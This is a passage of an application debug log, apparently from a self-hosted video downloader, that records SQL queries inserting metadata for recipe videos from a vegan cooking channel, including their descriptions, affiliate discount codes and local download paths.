plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nIf you liked this video please give it a LIKE and do SUBSCRIBE to my channel for more delicious recipes! :) \n\n\nMusic: 'Blue Skies' by Silent Partner", "VEGAN PANCAKES! How to make the best vegan banana pancakes in your blender", "397cdeb0-6aa0-4dc3-a762-81450185505e", 1, [], false, "Ku7a74eh3a8", "https://www.youtube.com/watch?v=Ku7a74eh3a8", 388, "/downloads/downloads/alec/Steamy Vegan/2021-05-29 VEGAN PANCAKES! How to make the best vegan banana pancakes in your blender/VEGAN PANCAKES! How to make the best vegan banana pancakes in your blender [Ku7a74eh3a8].NA", false, false, false, 1, ~U[2021-05-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "8 INGREDIENT VEGAN + GLUTEN-FREE BLENDER BANANA PANCAKES! These happy stacks are not only HEALTHY but so thick and fluffy! You'll wonder why you never tried making pancakes in your blender before. PLUS these bad boys only take a couple minutes to whip up, you could do it before you've even had your morning coffee ;)\n\nWhat could be easier than throwing a few pantry staples into a blender? What’s more delicious than pancakes in your PJ’s on the weekend? Oh, that’s right… nothing and NOTHING! No flour, no refined sugar, no dairy, no problem!\n\nCheck out my blog post for the full recipe + instructions!\n\nLINK: https://steamyvegan.com/8-ingredient-...\n\nWant more quick and delicious breakfast ideas? These other recipes might interest you!\nPumpkin Spice Chocolate Chip Mini Scones: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nQuinoa Oat Breakfast Bars 3 Ways: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\nMy Fave Quick Breakfasts: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nIf you liked this video please give it a LIKE and do SUBSCRIBE to my channel for more delicious recipes! :) \n\n\nMusic: 'Blue Skies' by Silent Partner", "VEGAN PANCAKES! How to make the best vegan banana pancakes in your blender", 1, nil, false, "Ku7a74eh3a8", "https://www.youtube.com/watch?v=Ku7a74eh3a8", "/downloads/downloads/alec/Steamy Vegan/2021-05-29 VEGAN PANCAKES! How to make the best vegan banana pancakes in your blender/VEGAN PANCAKES! How to make the best vegan banana pancakes in your blender [Ku7a74eh3a8].NA", false, ~U[2021-05-29 00:00:00Z]] 20:31:08.826 [debug] QUERY OK source="sources" db=0.5ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.828 [debug] QUERY OK source="media_items" db=1.5ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-05-27 00:00:00Z], 1] 20:31:08.830 [debug] QUERY OK source="media_items" db=1.2ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make BUTTER CHICKPEAS! A delicious vegan butter chicken alternative 😊 \n\nHearty and protein-packed chickpeas and tofu make this dish filling, and with less than 10 INGREDIENTS you can whip this up in UNDER 30 MINUTES!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/butter-chickp...\n\nWant more warm and cozy deliciousness? These other recipes might interest you!\nVEGAN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\nVEGAN BAKED TOMATO FETA PASTA: \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nI hope you like this video, if you do please LIKE + SUBSCRIBE to my channel!\n\nMusic by Nasir Ibrahim - Get ready - https://thmatc.co/?l=7DE09865", "BUTTER CHICKPEAS | Vegan Butter Chicken Alternative | Easy 30-Min Vegan Dinner Recipe", "4a5fac22-65ab-479a-a1af-27ac88279147", 1, [], false, "bLLYMaH7l4o", "https://www.youtube.com/watch?v=bLLYMaH7l4o", 389, "/downloads/downloads/alec/Steamy Vegan/2021-05-27 BUTTER CHICKPEAS | Vegan Butter Chicken Alternative | Easy 30-Min Vegan Dinner Recipe/BUTTER CHICKPEAS | Vegan Butter Chicken Alternative | Easy 30-Min Vegan Dinner Recipe [bLLYMaH7l4o].NA", false, false, false, 1, ~U[2021-05-27 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let's make BUTTER CHICKPEAS! A delicious vegan butter chicken alternative 😊 \n\nHearty and protein-packed chickpeas and tofu make this dish filling, and with less than 10 INGREDIENTS you can whip this up in UNDER 30 MINUTES!\n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/butter-chickp...\n\nWant more warm and cozy deliciousness? These other recipes might interest you!\nVEGAN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\nVEGAN BAKED TOMATO FETA PASTA: \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nI hope you like this video, if you do please LIKE + SUBSCRIBE to my channel!\n\nMusic by Nasir Ibrahim - Get ready - https://thmatc.co/?l=7DE09865", "BUTTER CHICKPEAS | Vegan Butter Chicken Alternative | Easy 30-Min Vegan Dinner Recipe", 1, nil, false, "bLLYMaH7l4o", "https://www.youtube.com/watch?v=bLLYMaH7l4o", "/downloads/downloads/alec/Steamy Vegan/2021-05-27 BUTTER CHICKPEAS | Vegan Butter Chicken Alternative | Easy 30-Min Vegan Dinner Recipe/BUTTER CHICKPEAS | Vegan Butter Chicken Alternative | Easy 30-Min Vegan Dinner Recipe [bLLYMaH7l4o].NA", false, ~U[2021-05-27 00:00:00Z]] 20:31:08.831 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.833 [debug] QUERY OK source="media_items" db=2.1ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-18 00:00:00Z], 1] 20:31:08.836 [debug] QUERY OK source="media_items" db=2.3ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese protein blondies have 7g of protein, 190 calories, 4g fiber, are gluten-free, vegan, oil-free and best of all are packed with chickpeas that you can't even taste! If you're looking for a healthy dessert then try this blonde version of a protein brownie that almost reminds me of a sheet pan chocolate chip cookie. \n\nGet the recipe for my Chickpea Blondies on my blog! ➡️ https://steamyvegan.com/chickpea-blon...\n\nThe Protein Powder I Used in This Recipe\n💊🥬 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nIf you're in Canada, try out this Canadian protein powder\nGood Protein: 30% off your first purchase\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "These High Protein Blondies are made with Chickpeas ❤️🔥", "c2e84caa-8d70-41c8-b59b-d0b1c20c86a4", 1, [], false, "rLhF5_4jp18", "https://www.youtube.com/shorts/rLhF5_4jp18", 1, "/downloads/downloads/alec/Steamy Vegan/2026-03-18 These High Protein Blondies are made with Chickpeas ❤️🔥/These High Protein Blondies are made with Chickpeas ❤️🔥 [rLhF5_4jp18].NA", false, false, true, 1, ~U[2026-03-18 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese protein blondies have 7g of protein, 190 calories, 4g fiber, are gluten-free, vegan, oil-free and best of all are packed with chickpeas that you can't even taste! If you're looking for a healthy dessert then try this blonde version of a protein brownie that almost reminds me of a sheet pan chocolate chip cookie. \n\nGet the recipe for my Chickpea Blondies on my blog! ➡️ https://steamyvegan.com/chickpea-blon...\n\nThe Protein Powder I Used in This Recipe\n💊🥬 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nIf you're in Canada, try out this Canadian protein powder\nGood Protein: 30% off your first purchase\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "These High Protein Blondies are made with Chickpeas ❤️🔥", 1, nil, false, "rLhF5_4jp18", "https://www.youtube.com/shorts/rLhF5_4jp18", "/downloads/downloads/alec/Steamy Vegan/2026-03-18 These High Protein Blondies are made with Chickpeas ❤️🔥/These High Protein Blondies are made with Chickpeas ❤️🔥 [rLhF5_4jp18].NA", true, ~U[2026-03-18 00:00:00Z]] 20:31:08.838 [debug] QUERY OK source="sources" db=1.2ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.842 [debug] QUERY OK source="media_items" db=3.3ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 00:00:00Z], 1] 20:31:08.845 [debug] QUERY OK source="media_items" db=2.3ms idle=11.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil crust pizza recipe is high protein and only uses 5 ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you love protein pizza, this lentil recipe will be a new fave!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Pizza Crust recipe on my blog! ➡️ https://steamyvegan.com/lentil-pizza-...\nBONUS Pickled Red Onions recipe ➡️ https://steamyvegan.com/pickled-red-o...\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Meatballs: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0is\u00A0a\u00A0MUST\u00A0TRY\u00A0(no\u00A0tofu,...\u00A0\u00A0\nLentil Bolognese: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\nLasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video for teh Bolognese):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lentil Pizza Crust 🍕", "00f692f5-05e1-49d9-901f-a93042517d04", 1, [], false, "FRgj9CLLPeQ", "https://www.youtube.com/shorts/FRgj9CLLPeQ", 2, "/downloads/downloads/alec/Steamy Vegan/2026-03-13 Lentil Pizza Crust 🍕/Lentil Pizza Crust 🍕 [FRgj9CLLPeQ].NA", false, false, true, 1, ~U[2026-03-13 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil crust pizza recipe is high protein and only uses 5 ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you love protein pizza, this lentil recipe will be a new fave!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Pizza Crust recipe on my blog! ➡️ https://steamyvegan.com/lentil-pizza-...\nBONUS Pickled Red Onions recipe ➡️ https://steamyvegan.com/pickled-red-o...\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Meatballs: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0is\u00A0a\u00A0MUST\u00A0TRY\u00A0(no\u00A0tofu,...\u00A0\u00A0\nLentil Bolognese: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\nLasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video for teh Bolognese):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Lentil Pizza Crust 🍕", 1, nil, false, "FRgj9CLLPeQ", "https://www.youtube.com/shorts/FRgj9CLLPeQ", "/downloads/downloads/alec/Steamy Vegan/2026-03-13 Lentil Pizza Crust 🍕/Lentil Pizza Crust 🍕 [FRgj9CLLPeQ].NA", true, ~U[2026-03-13 00:00:00Z]] 20:31:08.847 [debug] QUERY OK source="sources" db=1.1ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.849 [debug] QUERY OK source="media_items" db=2.3ms idle=10.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-12 00:00:00Z], 1] 20:31:08.851 [debug] QUERY OK source="media_items" db=1.4ms idle=11.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil waffle recipe is high protein and is a super easy recipe as it only uses a couple of ingredients! One of the best healthy vegan recipes you'll make this year guaranteed. If you're looking for a high protein, vegan and gluten-free waffle then you'll love this recipe!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the Lentil Waffle recipe on my blog! ➡️ https://steamyvegan.com/lentil-waffles/\n\nWant to add extra protein to this recipe? I've used the unflavored protein powder from Comlement and it works perfectly. Use my affiliate code to save a few bucks too:\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nCheck out these other lentil recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\n5 Lentil Recipes I Make on Repeat: \u00A0\u00A0\u00A0•\u00A05\u00A0lentil\u00A0recipes\u00A0I\u00A0eat\u00A0EVERY\u00A0month\u00A0(and\u00A0so...\u00A0\u00A0\n\n\n💚 Exclusive Discounts on 